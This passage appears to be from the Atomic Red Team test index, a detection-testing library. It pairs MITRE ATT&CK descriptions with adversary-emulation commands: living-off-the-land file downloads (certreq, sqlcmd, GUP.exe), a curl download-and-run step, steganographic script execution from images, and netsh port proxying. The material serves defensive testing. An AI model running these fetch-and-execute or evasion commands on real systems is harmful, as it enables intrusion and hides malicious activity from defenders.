          type: path
          default: "\\\\127.0.0.1\\c$\\AtomicRedTeam\\atomics\\T1105\\src\\redcanary.cab"
        Path_replace:
          description: Path to replace.exe
          type: path
          default: C:\Windows\System32\replace.exe
      executor:
        command: |
          del %TEMP%\redcanary.cab >nul 2>&1
          #{Path_replace} #{replace_cab} %TEMP% /A
        cleanup_command: 'del %TEMP%\redcanary.cab >nul 2>&1

          '
        name: command_prompt
    - name: certreq download
      auto_generated_guid: 6fdaae87-c05b-42f8-842e-991a74e8376b
      description: Use certreq to download a file from the web
      supported_platforms:
      - windows
      input_arguments:
        local_path:
          description: Local path to place file
          type: string
          default: "%temp%\\Atomic-license.txt"
        remote_file:
          description: URL of file to copy
          type: url
          default: https://example.com
      executor:
        command: 'certreq.exe -Post -config #{remote_file} c:\windows\win.ini #{local_path}'
        cleanup_command: 'del #{local_path} >nul 2>&1'
        name: command_prompt
    - name: Download a file using wscript
      auto_generated_guid: 97116a3f-efac-4b26-8336-b9cb18c45188
      description: Use wscript to run a local VisualBasic file to download a remote
        file
      supported_platforms:
      - windows
      input_arguments:
        vbscript_file:
          description: Full path to the VisualBasic downloading the file
          type: string
          default: PathToAtomicsFolder\T1105\src\T1105-download-file.vbs
      dependency_executor_name: powershell
      dependencies:
      - description: "#{vbscript_file} must be exist on system.\n"
        prereq_command: 'if (Test-Path "#{vbscript_file}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{vbscript_file}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1105/src/T1105-download-file.vbs" -OutFile "#{vbscript_file}"
      executor:
        command: 'wscript.exe "#{vbscript_file}"

          '
        cleanup_command: del Atomic-License.txt >nul 2>&1
        name: command_prompt
    - name: Linux Download File and Run
      auto_generated_guid: bdc373c5-e9cf-4563-8a7b-a9ba720a90f3
      description: 'Utilize linux Curl to download a remote file, chmod +x it and
        run it.

        '
      supported_platforms:
      - linux
      input_arguments:
        remote_url:
          description: url of remote payload
          type: string
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1105/src/atomic.sh
        payload_name:
          description: payload name
          type: string
          default: atomic.sh
      executor:
        command: 'curl -sO #{remote_url}; chmod +x #{payload_name} | bash #{payload_name}

          '
        cleanup_command: 'rm #{payload_name}

          '
        name: sh
    - name: Nimgrab - Transfer Files
      auto_generated_guid: b1729c57-9384-4d1c-9b99-9b220afb384e
      description: "Use nimgrab.exe to download a file from the web. \n"
      supported_platforms:
      - windows
      input_arguments:
        remote_file:
          description: URL of file to copy
          type: url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt
        destination_path:
          description: Destination path to file
          type: path
          default: "$env:TEMP\\Atomic-license.txt"
      executor:
        command: 'cmd /c "PathToAtomicsFolder\..\ExternalPayloads\nimgrab.exe" #{remote_file}
          #{destination_path}

          '
        cleanup_command: 'del #{destination_path} >nul 2>&1

          '
        name: command_prompt
      dependency_executor_name: powershell
      dependencies:
      - description: 'NimGrab must be installed on system.

          '
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\nimgrab.exe")
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://nim-lang.org/download/nim-1.6.6_x64.zip" -Outfile "PathToAtomicsFolder\..\ExternalPayloads\nim.zip"
          Expand-Archive -Path "PathToAtomicsFolder\..\ExternalPayloads\nim.zip" -DestinationPath "PathToAtomicsFolder\..\ExternalPayloads\nim" -Force
          Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\nim\nim-1.6.6\bin\nimgrab.exe" "PathToAtomicsFolder\..\ExternalPayloads\nimgrab.exe"
    - name: iwr or Invoke Web-Request download
      auto_generated_guid: c01cad7f-7a4c-49df-985e-b190dcf6a279
      description: 'Use ''iwr'' or "Invoke-WebRequest" -URI argument to download a
        file from the web. Note: without -URI also works in some versions.

        '
      supported_platforms:
      - windows
      input_arguments:
        remote_file:
          description: URL of file to copy
          type: url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt
        local_path:
          description: Local path to place file
          type: path
          default: "%temp%\\Atomic-license.txt"
      executor:
        command: 'powershell.exe iwr -URI #{remote_file} -Outfile #{local_path}

          '
        cleanup_command: 'del %temp%\Atomic-license.txt >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: Arbitrary file download using the Notepad++ GUP.exe binary
      auto_generated_guid: 66ee226e-64cb-4dae-80e3-5bf5763e4a51
      description: |-
        GUP is an open source signed binary used by Notepad++ for software updates, and can be used to download arbitrary files(.zip) from internet/github.
        [Reference](https://x.com/nas_bench/status/1535322182863179776?s=20)
        Upon execution, a sample zip file will be downloaded to C:\Temp\Sample folder
      supported_platforms:
      - windows
      input_arguments:
        target_file_url:
          description: 'URL of the target ZIP file (Eg: https://example.com/test.zip)'
          type: url
          default: https://getsamplefiles.com/download/zip/sample-2.zip
        working_dir:
          description: The directory where GUP.exe & it's dependecies exists
          type: path
          default: PathToAtomicsFolder\T1105\bin\
        gup_executable:
          description: GUP is an open source signed binary used by Notepad++ for software
            updates
          type: String
          default: PathToAtomicsFolder\T1105\bin\GUP.exe
        target_file_sha256:
          description: SHA256 value of target ZIP file
          type: string
          default: CAC4D26F32CA629DFB10FE614ED00EB1066A0C0011386290D3426C3DE2E53AC6
      dependency_executor_name: powershell
      dependencies:
      - description: Gup.exe binary must exist on disk at specified location (#{gup_executable})
        prereq_command: if (Test-Path "#{gup_executable}") {exit 0} else {exit 1}
        get_prereq_command: |-
          New-Item -Type Directory (split-path "#{gup_executable}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1105/bin/GUP.exe" -OutFile "#{gup_executable}"
      executor:
        command: |-
          mkdir "c:\Temp"
          cd #{working_dir}
          GUP.exe -unzipTo "" "C:\Temp" "Sample #{target_file_url} #{target_file_sha256}"
        cleanup_command: rmdir /s /q "C:\Temp\Sample" >nul 2>nul
        name: command_prompt
        elevation_required: true
    - name: File download via nscurl
      auto_generated_guid: 5bcefe5f-3f30-4f1c-a61a-8d7db3f4450c
      description: |
        Use nscurl to download and write a file/payload from the internet.
        -k = Disable certificate checking
        -o = Output destination
      supported_platforms:
      - macos
      input_arguments:
        remote_file:
          description: URL of remote file to download
          type: url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt
        destination_path:
          description: Local path to place remote file
          type: path
          default: license.txt
      executor:
        command: nscurl -k "#{remote_file}" -o "#{destination_path}"
        cleanup_command: rm "#{destination_path}"
        name: sh
        elevation_required: false
    - name: File Download with Sqlcmd.exe
      auto_generated_guid: 6934c16e-0b3a-4e7f-ab8c-c414acd32181
      description: |-
        One of the windows packages 'Sqlcmd.exe' can be abused to download malicious files from C2 servers
        This Atomic will exhibit the similar behavior by downloading a sample zip file from src directory of this Technique folder via GitHub URL
      supported_platforms:
      - windows
      input_arguments:
        remote_url:
          description: URL of the C2 Server from where file/s need to be downloaded
          type: url
          default: https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1105/src/T1105.zip
        local_file_path:
          description: The local file path along with filename to where the file needs
            to be downloaded and placed.
          type: path
          default: C:\T1105.zip
      dependency_executor_name: powershell
      dependencies:
      - description: Windows package 'Sqlcmd' need to be available in the machine
          to execute this atomic successfully
        prereq_command: if (Get-Command sqlcmd 2>$null) {exit 0} else {exit 1}
        get_prereq_command: winget install Microsoft.Sqlcmd --silent 2>$null | Out-Null
      executor:
        command: 'sqlcmd -i #{remote_url} -o #{local_file_path}'
        cleanup_command: rm "#{local_file_path}" 2>$null | Out-Null
        name: powershell
        elevation_required: true
  T1665:
    technique:
      modified: '2024-04-18T19:44:00.603Z'
      name: Hide Infrastructure
      description: |-
        Adversaries may manipulate network traffic in order to hide and evade detection of their C2 infrastructure. This can be accomplished in various ways including by identifying and filtering traffic from defensive tools,(Citation: TA571) masking malicious domains to obfuscate the true destination from both automated scanning tools and security researchers,(Citation: Schema-abuse)(Citation: Facad1ng)(Citation: Browser-updates) and otherwise hiding malicious artifacts to delay discovery and prolong the effectiveness of adversary infrastructure that could otherwise be identified, blocked, or taken down entirely.

        C2 networks may include the use of [Proxy](https://attack.mitre.org/techniques/T1090) or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections. For example, an adversary may use a virtual private cloud to spoof their IP address to closer align with a victim's IP address ranges. This may also bypass security measures relying on geolocation of the source IP address.(Citation: sysdig)(Citation: Orange Residential Proxies)

        Adversaries may also attempt to filter network traffic in order to evade defensive tools in numerous ways, including blocking/redirecting common incident responder or security appliance user agents.(Citation: mod_rewrite)(Citation: SocGholish-update) Filtering traffic based on IP and geo-fencing may also avoid automated sandboxing or researcher activity (i.e., [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)).(Citation: TA571)(Citation: mod_rewrite)

        Hiding C2 infrastructure may also be supported by [Resource Development](https://attack.mitre.org/tactics/TA0042) activities such as [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) and [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584). For example, using widely trusted hosting services or domains such as prominent URL shortening providers or marketing services for C2 networks may enable adversaries to present benign content that later redirects victims to malicious web pages or infrastructure once specific conditions are met.(Citation: StarBlizzard)(Citation: QR-cofense)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_contributors:
      - Matt Mullins
      - Eliav Livneh
      - Hen Porcilan
      - Diyar Saadi Ali
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - macOS
      - Windows
      - Linux
      - Network
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Internet Scan: Response Metadata'
      - 'Network Traffic: Network Traffic Content'
      - 'Domain Name: Domain Registration'
      - 'Internet Scan: Response Content'
      type: attack-pattern
      id: attack-pattern--eb897572-8979-4242-a089-56f294f4c91d
      created: '2024-02-13T17:00:00.175Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1665
        external_id: T1665
      - source_name: SocGholish-update
        description: Andrew Northern. (2022, November 22). SocGholish, a very real
          threat from a very fake update. Retrieved February 13, 2024.
        url: https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update
      - source_name: TA571
        description: Axel F, Selena Larson. (2023, October 30).  TA571 Delivers IcedID
          Forked Loader. Retrieved February 13, 2024.
        url: https://www.proofpoint.com/us/blog/threat-insight/security-brief-ta571-delivers-icedid-forked-loader
      - source_name: mod_rewrite
        description: Bluescreenofjeff.com. (2015, April 12). Combatting Incident Responders
          with Apache mod_rewrite. Retrieved February 13, 2024.
        url: https://bluescreenofjeff.com/2016-04-12-combatting-incident-responders-with-apache-mod_rewrite/
      - source_name: Browser-updates
        description: Dusty Miller. (2023, October 17). Are You Sure Your Browser is
          Up to Date? The Current Landscape of Fake Browser Updates . Retrieved February
          13, 2024.
        url: https://www.proofpoint.com/us/blog/threat-insight/are-you-sure-your-browser-date-current-landscape-fake-browser-updates
      - source_name: StarBlizzard
        description: Microsoft Threat Intelligence. (2023, December 7). Star Blizzard
          increases sophistication and evasion in ongoing attacks. Retrieved February
          13, 2024.
        url: https://www.microsoft.com/en-us/security/blog/2023/12/07/star-blizzard-increases-sophistication-and-evasion-in-ongoing-attacks/
      - source_name: QR-cofense
        description: Nathaniel Raymond. (2023, August 16). Major Energy Company Targeted
          in Large QR Code Phishing Campaign. Retrieved February 13, 2024.
        url: https://cofense.com/blog/major-energy-company-targeted-in-large-qr-code-campaign/
      - source_name: Schema-abuse
        description: 'Nick Simonian. (2023, May 22). Don''t @ Me: URL Obfuscation
          Through Schema Abuse. Retrieved February 13, 2024.'
        url: https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse
      - source_name: Orange Residential Proxies
        description: Orange Cyberdefense. (2024, March 14). Unveiling the depths of
          residential proxies providers. Retrieved April 11, 2024.
        url: https://www.orangecyberdefense.com/global/blog/research/residential-proxies
      - source_name: Facad1ng
        description: Spyboy. (2023). Facad1ng. Retrieved February 13, 2024.
        url: https://github.com/spyboy-productions/Facad1ng
      - source_name: sysdig
        description: Sysdig. (2023). Sysdig Global Cloud Threat Report. Retrieved
          March 1, 2024.
        url: https://sysdig.com/content/c/pf-2023-global-cloud-threat-report?x=u_WFRi&xs=524303#page=1
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1001.002:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--eec23884-3fa1-4d8a-ac50-6f104d51e235
      type: attack-pattern
      created: '2020-03-15T00:37:58.963Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1001.002
        url: https://attack.mitre.org/techniques/T1001/002
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      modified: '2021-04-29T14:49:39.188Z'
      name: Data Obfuscation via Steganography
      description: 'Adversaries may use steganographic techniques to hide command
        and control traffic to make detection efforts more difficult. Steganographic
        techniques can be used to hide data in digital messages that are transferred
        between systems. This hidden information can be used for command and control
        of compromised systems. In some cases, the passing of files embedded using
        steganography, such as image or document files, can be used for command and
        control. '
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
        sending significantly more data than it receives from a server). Processes
        utilizing the network that do not normally have network communication or have
        never been seen before are suspicious. Analyze packet contents to detect communications
        that do not follow the expected protocol behavior for the port that is being
        used.(Citation: University of Birmingham C2)'
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1001.002
    atomic_tests:
    - name: Steganographic Tarball Embedding
      auto_generated_guid: c7921449-8b62-4c4d-8a83-d9281ac0190b
      description: "This atomic test, named \"Steganographic Tarball Embedding\",
        simulates the technique of data obfuscation via steganography by embedding
        a tar archive file (tarball) \nwithin an image.\n\nThe test begins by ensuring
        the availability of the image file and the tarball file containing data .
        It then generates random passwords and saves them to a \nfile. Subsequently,
        the tarball file is created, containing the passwords file. The test executor
        command reads the contents of the image \nfile and the tarball file as byte
        arrays and appends them together to form a new image file. This process effectively
        embeds the tarball \nfile within the image, utilizing steganography techniques
        for data obfuscation.\n\nThis atomic test simulates the technique of data
        obfuscation via steganography, enabling attackers to clandestinely transfer
        files across systems undetected. \nBy embedding the tarball file within the
        image, adversaries can obscure their activities, facilitating covert communication
        and data exfiltration.\n"
      supported_platforms:
      - windows
      input_arguments:
        image_file:
          description: Image file which will be downloaded to be used to hide data
          type: path
          default: PathToAtomicsFolder\T1001.002\bin\T1001.002.jpg
        tar_file:
          description: Tarz file containing random passwords
          type: path
          default: "$env:PUBLIC\\Downloads\\T1001.002.tarz"
        new_image_file:
          description: new image file ready for extraction
          type: path
          default: "$env:PUBLIC\\Downloads\\T1001.002New.jpg"
        passwords_file:
          description: Text file containing random passwords
          type: path
          default: "$env:TEMP\\random_passwords.txt"
      dependency_executor_name: powershell
      dependencies:
      - description: 'Image file must exist

          '
        prereq_command: |
          if (!(Test-Path "#{image_file}")) {exit 1} else {
          {exit 0}
          }
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{image_file}") -ErrorAction ignore | Out-Null
          Write-Output "Downloading image file..."
          $imageUrl = "https://github.com/raghavsingh7/Pictures/raw/a9617d9fce289909441120a1e0366315c2c5e19d/lime.jpg"
          Invoke-WebRequest -Uri $imageUrl -OutFile "#{image_file}"
      - description: 'File to hide within tarz file must exist

          '
        prereq_command: |
          if (!(Test-Path "#{passwords_file}")) {exit 1} else {
          {exit 0}
          }
        get_prereq_command: "Write-Output \"Generating random passwords and saving
          to file...\"\n$passwords = 1..10 | ForEach-Object { Get-Random -InputObject
          ('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()-_=+[]{}|;:,.<>?')
          -Count 12 }\n$passwords | Out-File -FilePath \"#{passwords_file}\"    \n"
      - description: "Tarz file to embed in image must exist \n"
        prereq_command: |
          if (!(Test-Path "#{tar_file}")) {exit 1} else {
          {exit 0}
          }
        get_prereq_command: |
          Write-Output "Generating tarz file..."
          tar -cvf "#{tar_file}" "#{passwords_file}"
      executor:
        name: powershell
        elevation_required: true
        command: 'Get-Content "#{image_file}", "#{tar_file}" -Encoding byte -ReadCount
          0 | Set-Content "#{new_image_file}" -Encoding byte

          '
        cleanup_command: |
          Set-ExecutionPolicy Bypass -Scope Process -Force -ErrorAction Ignore
          Remove-Item -Path "#{new_image_file}" -Force -ErrorAction Ignore
    - name: Embedded Script in Image Execution via Extract-Invoke-PSImage
      auto_generated_guid: 04bb8e3d-1670-46ab-a3f1-5cee64da29b6
      description: "This atomic test demonstrates the technique of data obfuscation
        via steganography, where a PowerShell script is concealed within an image
        file. \nThe PowerShell script is embedded using steganography techniques,
        making it undetectable by traditional security measures. The script is hidden
        \nwithin the pixels of the image, enabling attackers to covertly transfer
        and execute malicious code across systems.\n\nThe test begins by ensuring
        the availability of the malicious image file and the Extract-Invoke-PSImage
        script. The test proceeds to extract the hidden \nPowerShell script (decoded.ps1)
        from the image file using the Extract-Invoke-PSImage tool. The extracted script
        is then decoded from base64 encoding and saved as a \nseparate PowerShell
        (textExtraction.ps1). Consequently, the textExtraction.ps1 script is executed.\n\nIn
        the case of this atomic test, the malicious image file which is downloaded
        has the powershell command Start-Process notepad embedded within in base64.
        This\nis done to emulate an attackers behaviour in the case they were to execute
        malware embedded within the image file. \n"
      supported_platforms:
      - windows
      input_arguments:
        image_file:
          description: Malicious Image file which will be downloaded
          type: path
          default: PathToAtomicsFolder\T1001.002\bin\evil_kitten.jpg
        psimage_script:
          description: Extract-Invoke-PSImage Script downloaded
          type: path
          default: PathToAtomicsFolder\ExternalPayloads\Extract-Invoke-PSImage.ps1
      dependency_executor_name: powershell
      dependencies:
      - description: 'Image file must exist

          '
        prereq_command: |
          if (!(Test-Path "#{image_file}")) {exit 1} else {
          {exit 0}
          }
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{image_file}") -ErrorAction Ignore | Out-Null
          Write-Output "Downloading image file..."
          $imageUrl = "https://github.com/raghavsingh7/Pictures/raw/f73e7686cdd848ed06e63af07f6f1a5e72de6320/evil_kitten.jpg"
          Invoke-WebRequest -Uri $imageUrl -OutFile #{image_file}
      - description: 'Extract-Invoke-PSImage must exist

          '
        prereq_command: |
          if (!(Test-Path "#{psimage_script}")) {exit 1} else {
          {exit 0}
          }
        get_prereq_command: |
          New-Item -Path "PathToAtomicsFolder\ExternalPayloads\" -ItemType Directory -Force | Out-Null
          Write-Output "Downloading Extract-Invoke-PSImage.ps1 script..."
          $scriptUrl = "https://github.com/raghavsingh7/Extract-Invoke-PSImage/raw/7d8c165d2f9bfe9c3965181079b7c82e03168ce1/Extract-Invoke-PSImage.ps1"
          Invoke-WebRequest -Uri $scriptUrl -OutFile #{psimage_script}
      executor:
        name: powershell
        elevation_required: true
        command: "cd \"PathToAtomicsFolder\\ExternalPayloads\\\"\nImport-Module .\\Extract-Invoke-PSImage.ps1\n$extractedScript=Extract-Invoke-PSImage
          -Image \"#{image_file}\" -Out \"$HOME\\result.ps1\"\n$scriptContent = Get-Content
          \"$HOME\\result.ps1\" -Raw\n$base64Pattern = \"(?<=^|[^A-Za-z0-9+/])(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}(==)?|[A-Za-z0-9+/]{3}=)?(?=$|[^A-Za-z0-9+/])\"\n$base64Strings
          = [regex]::Matches($scriptContent, $base64Pattern) | ForEach-Object { $_.Value
          }\n$base64Strings | Set-Content \"$HOME\\decoded.ps1\"\n$decodedContent
          = Get-Content \"$HOME\\decoded.ps1\" -Raw\n$decodedText = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($decodedContent))\n$textPattern
          = '^.+'  \n$textMatches = [regex]::Matches($decodedText, $textPattern) |
          ForEach-Object { $_.Value }\n$scriptPath = \"$HOME\\textExtraction.ps1\"\n$textMatches
          -join '' | Set-Content -Path $scriptPath\n. \"$HOME\\textExtraction.ps1\"\n"
        cleanup_command: "Set-ExecutionPolicy Bypass -Scope Process -Force -ErrorAction
          Ignore\nRemove-Item -Path \"$HOME\\result.ps1\" -Force -ErrorAction Ignore
          \nRemove-Item -Path \"$HOME\\textExtraction.ps1\" -Force -ErrorAction Ignore\nRemove-Item
          -Path \"$HOME\\decoded.ps1\" -Force -ErrorAction Ignore        \n"
    - name: Execute Embedded Script in Image via Steganography
      auto_generated_guid: 4ff61684-ad91-405c-9fbc-048354ff1d07
      description: This atomic test demonstrates the execution of an embedded script
        in an image file using steganography techniques. The script is first encoded
        in base64 and then embedded within the pixels of the image. The modified image
        is created, and the script is extracted and executed on the target system.
      supported_platforms:
      - linux
      input_arguments:
        script:
          description: Shell Script file to be embedded and executed
          type: String
          default: PathToAtomicsFolder/script.sh
        evil_image:
          description: The modified image with embedded script
          type: String
          default: PathToAtomicsFolder/evil_image.jpg
        image:
          description: Image file to be embedded
          type: String
          default: PathToAtomicsFolder/image.jpg
      executor:
        command: cat "#{script}" | base64 | xxd -p | sed 's/../& /g' | xargs -n1 |
          xxd -r -p | cat "#{image}" - > "#{evil_image}"; strings "#{evil_image}"
          | tail -n 1 | base64 -d | sh
        cleanup_command: rm "#{evil_image}"
        name: sh
        elevation_required: false
  T1008:
    technique:
      x_mitre_platforms:
      - Linux
      - Windows
      - macOS
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433
      type: attack-pattern
      created: '2017-05-31T21:30:21.689Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1008
        external_id: T1008
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      modified: '2021-04-29T14:49:39.188Z'
      name: Fallback Channels
      description: Adversaries may use fallback or alternate communication channels
        if the primary channel is compromised or inaccessible in order to maintain
        reliable command and control and to avoid data transfer thresholds.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
        sending significantly more data than it receives from a server). Processes
        utilizing the network that do not normally have network communication or have
        never been seen before are suspicious. Analyze packet contents to detect communications
        that do not follow the expected protocol behavior for the port that is being
        used. (Citation: University of Birmingham C2)'
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Connection Creation'
      x_mitre_is_subtechnique: false
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1090.001:
    technique:
      modified: '2024-03-07T14:29:02.408Z'
      name: 'Proxy: Internal Proxy'
      description: |-
        Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment.

        By using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_deprecated: false
      x_mitre_detection: 'Analyze network data for uncommon data flows between clients
        that should not or often do not communicate with one another. Processes utilizing
        the network that do not normally have network communication or have never
        been seen before are suspicious. Analyze packet contents to detect communications
        that do not follow the expected protocol behavior for the port that is being
        used.(Citation: University of Birmingham C2)'
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Connection Creation'
      type: attack-pattern
      id: attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755
      created: '2020-03-14T23:08:20.244Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1090/001
        external_id: T1090.001
      - source_name: University of Birmingham C2
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
      - source_name: Trend Micro APT Attack Tools
        description: 'Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools
          of the Trade. Retrieved December 2, 2015.'
        url: http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1090.001
    atomic_tests:
    - name: Connection Proxy
      auto_generated_guid: 0ac21132-4485-4212-a681-349e8a6637cd
      description: |
        Enable traffic redirection.

        Note that this test may conflict with pre-existing system configuration.
      supported_platforms:
      - linux
      - macos
      input_arguments:
        proxy_server:
          description: Proxy server URL
          type: url
          default: 127.0.0.1
        proxy_port:
          description: Proxy server port
          type: integer
          default: 8080
        proxy_scheme:
          description: Protocol to proxy (http or https)
          type: string
          default: http
      executor:
        command: 'export #{proxy_scheme}_proxy=#{proxy_server}:#{proxy_port}

          '
        cleanup_command: |
          unset http_proxy
          unset https_proxy
        name: sh
    - name: Connection Proxy for macOS UI
      auto_generated_guid: 648d68c1-8bcd-4486-9abe-71c6655b6a2c
      description: |
        Enable traffic redirection on macOS UI (not terminal).
        The test will modify and enable the "Web Proxy" and "Secure Web Proxy" settings  in System Preferences => Network => Advanced => Proxies for the specified network interface.

        Note that this test may conflict with pre-existing system configuration.
      supported_platforms:
      - macos
      input_arguments:
        proxy_server:
          description: Proxy server URL (host)
          type: url
          default: 127.0.0.1
        proxy_port:
          description: Proxy server port
          type: integer
          default: 8080
        interface:
          description: Protocol to proxy (http or https)
          type: string
          default: Wi-Fi
      executor:
        name: sh
        command: |
          networksetup -setwebproxy #{interface} #{proxy_server} #{proxy_port}
          networksetup -setsecurewebproxy #{interface} #{proxy_server} #{proxy_port}
        cleanup_command: |
          networksetup -setwebproxystate #{interface} off
          networksetup -setsecurewebproxystate #{interface} off
    - name: portproxy reg key
      auto_generated_guid: b8223ea9-4be2-44a6-b50a-9657a3d4e72a
      description: |
        Adds a registry key to set up a proxy on the endpoint at HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4
        Upon execution there will be a new proxy entry in netsh
        netsh interface portproxy show all
      supported_platforms:
      - windows
      input_arguments:
        connectaddress:
          description: Specifies the IPv4 address to which to connect. Acceptable
            values are IP address, computer NetBIOS name, or computer DNS name. If
            an address is not specified, the default is the local computer.
          type: string
          default: 127.0.0.1
        connectport:
          description: Specifies the IPv4 port, by port number or service name, to
            which to connect. If connectport is not specified, the default is the
            value of listenport on the local computer.
          type: string
          default: '1337'
        listenport:
          description: Specifies the IPv4 port, by port number or service name, on
            which to listen.
          type: string
          default: '1337'
      executor:
        command: netsh interface portproxy add v4tov4 listenport=#{listenport} connectport=#{connectport}
          connectaddress=#{connectaddress}
        cleanup_command: netsh interface portproxy delete v4tov4 listenport=#{listenport}
          -ErrorAction Ignore | Out-Null
        name: powershell
        elevation_required: true
  T1102.001:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7
      type: attack-pattern
      created: '2020-03-14T22:24:21.841Z'
